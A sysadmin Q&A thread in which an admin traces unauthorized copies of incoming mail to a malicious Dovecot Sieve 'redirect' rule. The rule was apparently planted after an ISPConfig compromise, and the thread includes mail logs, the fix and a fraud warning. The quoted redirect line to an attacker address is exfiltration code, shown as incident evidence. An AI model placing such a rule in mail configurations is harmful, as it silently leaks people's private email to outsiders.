0

Recently, dovecot started to resend a copy of all emails received on a few accounts to a non authorized email address: puncheseurope23@gmaiil.com. Aparently the message is generated locally (127.0.0.1) but I cannot find out where or how it is being generated.

Mar 26 19:37:44 sd-4XXXX postfix/cleanup[21014]: 64BA6E182985: message-id=<5F95A212-FB12-4A6D-9ADF-DFFF63D70B98@mydomain.com>
Mar 26 19:37:44 sd-4XXXX postfix/qmgr[26225]: 64BA6E182985: from=<me@mydomain.com>, size=15412, nrcpt=1 (queue active)
Mar 26 19:37:46 sd-4XXXX postfix/smtpd[21022]: connect from localhost[127.0.0.1]
Mar 26 19:37:46 sd-4XXXX postfix/smtpd[21022]: E1743E1839D6: client=localhost[127.0.0.1]
Mar 26 19:37:46 sd-4XXXX postfix/cleanup[21014]: E1743E1839D6: message-id=<5F95A212-FB12-4A6D-9ADF-DFFF63D70B98@mydomain.com>
Mar 26 19:37:46 sd-4XXXX postfix/smtpd[21022]: disconnect from localhost[127.0.0.1] ehlo=1 mail=1 rcpt=1 data=1 quit=1 commands=5
Mar 26 19:37:46 sd-4XXXX postfix/qmgr[26225]: E1743E1839D6: from=<me@mydomain.com>, size=16476, nrcpt=1 (queue active)
Mar 26 19:37:46 sd-4XXXX amavis[32748]: (32748-11) Passed CLEAN {RelayedInternal}, ORIGINATING LOCAL [8X.8X.6X.3X]:55254 [8X.8X.6X.3X] <me@mydomain.com> -> <info@destindomain.com>, Queue-ID: 64BA6E182985, Message-ID: <5F95A212-FB12-4A6D-9ADF-DFFF63D70B98@mydomain.com>, mail_id: Buvs90Q9JFpr, Hits: -2.898, size: 15412, queued_as: E1743E1839D6, dkim_new=default:mydomain.com, 2353 ms
Mar 26 19:37:46 sd-4XXXX postfix/smtp[21015]: 64BA6E182985: to=<info@destindomain.com>, relay=127.0.0.1[127.0.0.1]:10026, delay=2.6, delays=0.23/0.01/0/2.4, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0.1]:10027): 250 2.0.0 Ok: queued as E1743E1839D6)
Mar 26 19:37:46 sd-4XXXX postfix/qmgr[26225]: 64BA6E182985: removed
Mar 26 19:37:47 sd-4XXXX postfix/pickup[831]: 0CA2BE1851F7: uid=5000 from=<me@mydomain.com>
Mar 26 19:37:47 sd-4XXXX dovecot: lda(info@destindomain.com): sieve: msgid=<5F95A212-FB12-4A6D-9ADF-DFFF63D70B98@mydomain.com>: forwarded to <puncheseurope23@gmaiil.com>
Mar 26 19:37:47 sd-4XXXX postfix/cleanup[21014]: 0CA2BE1851F7: message-id=<5F95A212-FB12-4A6D-9ADF-DFFF63D70B98@mydomain.com>
Mar 26 19:37:47 sd-4XXXX postfix/qmgr[26225]: 0CA2BE1851F7: from=<me@mydomain.com>, size=16711, nrcpt=1 (queue active)
Mar 26 19:37:47 sd-4XXXX dovecot: lda(info@destindomain.com): sieve: msgid=<5F95A212-FB12-4A6D-9ADF-DFFF63D70B98@mydomain.com>: stored mail into mailbox 'INBOX'
Mar 26 19:37:47 sd-4XXXX postfix/pipe[21023]: E1743E1839D6: to=<info@destindomain.com>, relay=dovecot, delay=0.27, delays=0.04/0.02/0/0.22, dsn=2.0.0, status=sent (delivered via dovecot service)
Mar 26 19:37:47 sd-4XXXX postfix/qmgr[26225]: E1743E1839D6: removed
Mar 26 19:37:49 sd-4XXXX postfix/smtpd[21033]: connect from localhost[127.0.0.1]
Mar 26 19:37:49 sd-4XXXX postfix/smtpd[21033]: 0113FE182985: client=localhost[127.0.0.1]
Mar 26 19:37:49 sd-4XXXX postfix/cleanup[21014]: 0113FE182985: message-id=<5F95A212-FB12-4A6D-9ADF-DFFF63D70B98@mydomain.com>
Mar 26 19:37:49 sd-4XXXX postfix/smtpd[21033]: disconnect from localhost[127.0.0.1] ehlo=1 mail=1 rcpt=1 data=1 quit=1 commands=5
Mar 26 19:37:49 sd-4XXXX postfix/qmgr[26225]: 0113FE182985: from=<me@mydomain.com>, size=17040, nrcpt=1 (queue active)
Mar 26 19:37:49 sd-4XXXX amavis[32627]: (32627-11) Passed CLEAN {RelayedOutbound}, LOCAL [127.0.0.1] [8X.8X.6X.3X] <me@mydomain.com> -> <puncheseurope23@gmaiil.com>, Message-ID: <5F95A212-FB12-4A6D-9ADF-DFFF63D70B98@mydomain.com>, mail_id: 4g8Irz6LJmCW, Hits: -3.098, size: 16711, queued_as: 0113FE182985, dkim_sd=default:mydomain.com, 1985 ms
Mar 26 19:37:49 sd-4XXXX postfix/smtp[21015]: 0CA2BE1851F7: to=<puncheseurope23@gmaiil.com>, relay=127.0.0.1[127.0.0.1]:10024, delay=2.1, delays=0.12/0/0/2, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as 0113FE182985)
Mar 26 19:37:49 sd-4XXXX postfix/qmgr[26225]: 0CA2BE1851F7: removed

Edit 1 I have ISPConfig 3 installed in the server, and those email accounts had the non authorized address (puncheseurope23@gmaiil.com) in the cc field, I have removed those entries but the problem is still happening.

Edit 2 After some research I found out that dovecot sieve was configured to redirect those emails to the offending address. I checked the files in /var/vmail/destindomain.com/info/.sieve and I could find the line redirect "puncheseurope23@gmaiil.com", apparently created from ispconfig, but not removed when I modified the entry through the ispconfig interface.

  • 1
    I'm not familiar with Dovecot. Just wanted to note, though, that if your organization sends any purchase orders, invoices or anything else financial via email, you'll want to warn everyone who might receive such things that your email has been compromised and to be on the lookout for financial requests that look legitimate but send money to new account numbers. I know a guy who had $90k siphoned off his company's account in this fashion. – ceejayoz Mar 26 at 19:01
0

I finally found the answer:

I have ISPConfig 3 installed in the server, and those email accounts had the non authorized address in the cc field. Somehow ISPConfig got compromissed and they logged in and changed those values. After changing the value in the ISPConfig interface the issue was still happening so I grep all files in /etc to find something and voila! I could find the rule in /var/vmail/destdomain.com/info/.sieve:

# Send a copy of email to
redirect "puncheseurope23@gmaiil.com";

Removing that line solved it.

I am inspecting right now to see if there is some more damage, meanwhile, I have added a fail2ban regex to the ISPConfig Logins.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.